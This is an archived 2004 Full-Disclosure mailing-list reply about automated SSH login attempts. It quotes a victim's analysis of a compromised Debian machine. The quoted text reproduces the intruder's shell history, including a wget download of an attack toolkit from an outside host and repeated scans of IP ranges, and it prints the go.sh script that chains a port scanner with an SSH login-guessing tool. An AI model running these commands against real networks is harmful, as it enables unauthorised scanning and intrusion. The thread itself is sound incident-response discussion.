Re: [Full-Disclosure] Re: Automated SSH login attempts?

From: Andrei Galca-Vasiliu (andrei_at_fq.ro)
Date: 07/29/04

  • Next message: Matt Kaar: "Re: [Full-Disclosure] Checkpoint ASN.1" 
    To: full-disclosure@lists.netsys.com
Date: Thu, 29 Jul 2004 22:54:03 +0300

    By the way, you have to be root to use "ss":

    sweet@andrei:~/ssh$ ./go.sh 82.77.45
    scanning network 82.77.*.*
    usec: 30000, burst packets 50
    using inteface eth0
    ERROR: UID != 0

    Intr-un mail de pe data de Thursday 29 July 2004 19:38, Stefan Janecek
    povestea:
    > Hmmm - I have also been getting those login attemps, but thought them to
    > be harmless. Maybe they are not *that* harmless, though... Today I
    > managed to get my hands on a machine that was originating such login
    > attempts. I must admit I am far from being a linux security expert, but
    > this is what I've found out up to now:
    >
    > Whoever broke into the machine did not take any attempts to cover up his
    > tracks - this is what I found in /root/.bash_history:
    >
    > ------
    > id
    > uname -a
    > w
    > id
    > ls
    > wgte frauder.us/linux/ssh.tgz
    > wget frauder.us/linux/ssh.tgz
    > tar xzvf ssh.tgz
    > tar xvf ssh.tgz
    > ls
    > cd ssh
    > ls
    > ./go.sh 195.178
    > ls
    > pico uniq.txt
    > vi uniq.txt
    > ls
    > rm -rf uniq.txt
    > ./go.sh 167.205
    > ls
    > rm -rf uniq.txt vuln.txt
    > ./go.sh 202.148.20
    > ./go.sh 212.92
    > ./go.sh 195.197
    > ./go.sh 147.32
    > ./go.sh 213.168
    > ./go.sh 134.176
    > ./go.sh 195.83
    > ------
    >
    > um-hum. I downloaded 'ssh.tgz', it contains the script go.sh and two
    > binaries:
    >
    > go.sh:
    > -------
    > ./ss 22 -b $1 -i eth0 -s 6
    > cat bios.txt |sort | uniq > uniq.txt
    > ./sshf
    > -------
    >
    > * 'ss' apparently is some sort of portscanner
    > * 'sshf' connects to every IP in uniq.txt and tries to log in as user
    > 'test' first, then as user 'guest' (according to tcpdump).
    >
    > This does not seem to be a stupid brute force attack, as there is only
    > one login attempt per user. Could it be that the tool tries to exploit
    > some vulnerability in the sshd, and just tries to look harmless by using
    > 'test' and 'guest' as usernames?
    >
    > The compromised machine was running an old debian woody installation
    > which had not been upgraded for at least one year, the sshd version
    > string says 'OpenSSH_3.6.1p2 Debian 1:3.6.1p2-10'
    >
    > As already mentioned, I am far from being an expert, but if I can assist
    > in further testing, then let me know. Please CC me, I am not subscribed
    > to the list.
    >
    > cheers,
    > Stefan
    >
    >
    >
    >
    >
    >
    > _______________________________________________
    > Full-Disclosure - We believe in it.
    > Charter: http://lists.netsys.com/full-disclosure-charter.html 

    -- 
*:-.,_,.-:*'``'*:-.,_,.-:*'``'*:-.,_,.-:*'``'*:-.,_,.-:*'``'*:-.
Andrei Galca-Vasiliu
Folio Q Advertising
www.fq.ro
Security is an illusion...
*:-.,_,.-:*'``'*:-.,_,.-:*'``'*:-.,_,.-:*'``'*:-.,_,.-:*'``'*:-.
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
  • Next message: Matt Kaar: "Re: [Full-Disclosure] Checkpoint ASN.1"

    Relevant Pages

    • Re: [Full-Disclosure] Re: Automated SSH login attempts?
      ... I must admit I am far from being a linux security expert, ... >>tar xzvf ssh.tgz ... >>one login attempt per user. ... >>some vulnerability in the sshd, and just tries to look harmless by using ...
      (Full-Disclosure)
    • Re: [Full-Disclosure] Re: Automated SSH login attempts?
      ... I tryed to login to one ... I must admit I am far from being a linux security expert, ... > tar xzvf ssh.tgz ... > some vulnerability in the sshd, and just tries to look harmless by using ...
      (Full-Disclosure)
    • Re: [Full-Disclosure] Re: Automated SSH login attempts?
      ... This all looks very similair to the couple year old ssh1 hack, ... I must admit I am far from being a linux security expert, ... >> tar xzvf ssh.tgz ... >> some vulnerability in the sshd, and just tries to look harmless by using ...
      (Full-Disclosure)
    • Re: sshd attacks
      ... but if you know the usernames you want you could use ... > from your sshd server before anyone can break your encryption. ... > taht finds open sshd services and tests common user names and password. ... You could also do something where you login with PK to an account whose ...
      (comp.unix.bsd.freebsd.misc)
    • Re: strange and serious problem about user login
      ... > any service other than root. ... > and I try to login as normal user except root, ... > and when I start sshd in this pc, I get no errors, but when I check ...
      (Fedora)